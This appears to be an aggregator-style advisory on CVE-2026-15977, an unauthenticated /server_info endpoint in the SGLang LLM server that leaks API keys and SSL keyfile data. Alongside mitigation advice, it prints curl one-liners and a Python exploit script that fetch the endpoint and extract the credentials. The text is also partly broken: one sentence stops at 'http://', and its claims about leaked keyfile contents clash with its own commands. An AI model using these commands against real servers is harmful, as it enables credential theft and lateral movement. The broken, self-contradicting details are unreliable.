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How CVE-2026-15977 Works
SGLang is a high-performance serving framework for large language models (LLMs). It exposes several administrative and debugging endpoints to help operators monitor the system. One such endpoint is /server_info, which is designed to return runtime information about the SGLang server, including version, configuration, and system status.
The vulnerability arises because the `/server_info` endpoint does not properly enforce access controls when the server is started with the `–admin-api-key` flag. In a secure deployment, an administrator would expect that setting an admin API key restricts access to sensitive administrative functions. However, due to a logic flaw in the authorization middleware, the `/server_info` endpoint fails to check for the presence of a valid admin API key before returning its response.
When the server is launched with only the `–admin-api-key` parameter—and without additional authentication mechanisms such as a separate admin-only flag or network-level restrictions—the `/server_info` endpoint becomes publicly accessible. An unauthenticated attacker can simply send a GET request to `http://
The leaked data includes any API keys configured for the server (e.g., for connecting to upstream model providers or storage services) and the contents of SSL keyfiles used for HTTPS termination. This information is returned in plain text as part of the server’s configuration dump. The vulnerability is present because the endpoint’s handler does not verify that the request includes a valid `–admin-api-key` header or parameter, effectively treating the endpoint as public even when an admin key is set.
The CVSS 3.1 score for this vulnerability is 7.5 (High), with the vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. This reflects that the attack is network-accessible, requires low complexity, needs no privileges or user interaction, and results in a high impact on confidentiality, with no impact on integrity or availability.
Affected versions include SGLang up to and including 0.5.15. The vulnerability was discovered by security researchers and reported through CERT/CC, with coordination from CISA-ADP.
DailyCVE Form:
Platform: SGLang
Version: ≤ 0.5.15
Vulnerability: Credential Leakage
Severity: High (7.5)
date: 2026-07-30
Prediction: 2026-08-15
What Undercode Say:
Analytics show that the `/server_info` endpoint lacks proper authentication checks, exposing sensitive credentials. The following analysis demonstrates the issue.
Check if endpoint is exposed:
curl -s http://<target>:<port>/server_info | jq .
Simulate unauthenticated access:
curl -v http://<target>:<port>/server_info
Extract API keys from response:
curl -s http://<target>:<port>/server_info | jq '.config.api_keys'
Extract SSL keyfile path:
curl -s http://<target>:<port>/server_info | jq '.config.ssl_keyfile'
Check for admin key requirement (expected behavior):
curl -H "X-Admin-API-Key: <valid_key>" http://<target>:<port>/server_info
Exploit:
An attacker can exploit this vulnerability by sending a simple GET request to the `/server_info` endpoint. No authentication or special headers are required. The server will respond with a JSON payload containing all configuration details, including API keys and SSL keyfile information.
Example exploit using Python:
import requests
import json
url = "http://<target>:<port>/server_info"
response = requests.get(url)
if response.status_code == 200:
data = response.json()
print("[+] API Keys:", data.get("config", {}).get("api_keys", "Not found"))
print("[+] SSL Keyfile:", data.get("config", {}).get("ssl_keyfile", "Not found"))
else:
print("[-] Endpoint not accessible or protected")
Example exploit using cURL:
curl -s http://<target>:<port>/server_info | grep -E '"api_keys"|"ssl_keyfile"'
Protection:
- Apply vendor patch: Upgrade to SGLang version 0.5.16 or later once released, which fixes the authorization logic for the `/server_info` endpoint.
- Restrict network access: Place the SGLang server behind a firewall or reverse proxy that allows only trusted IP addresses to access the admin endpoints.
- Use additional authentication: Implement a reverse proxy with basic authentication or OAuth2 proxy in front of the SGLang server to enforce authentication for all admin endpoints.
- Disable the endpoint: If not required, comment out or disable the `/server_info` route in the SGLang configuration or source code.
- Monitor logs: Check server logs for unexpected GET requests to `/server_info` to detect potential exploitation attempts.
Impact:
- Confidentiality Breach: API keys and SSL private key material are exposed to any unauthenticated attacker with network access to the server.
- Lateral Movement: Leaked API keys can be used to access upstream services (e.g., cloud storage, model repositories, external APIs) with the privileges of the SGLang server.
- Data Exfiltration: Attackers can use compromised credentials to read, modify, or delete sensitive data stored in connected services.
- Compliance Violation: Exposure of cryptographic keys and API credentials may violate data protection regulations (e.g., GDPR, HIPAA) and internal security policies.
- Reputational Damage: Public disclosure of such a vulnerability can erode trust in the platform and its maintainers.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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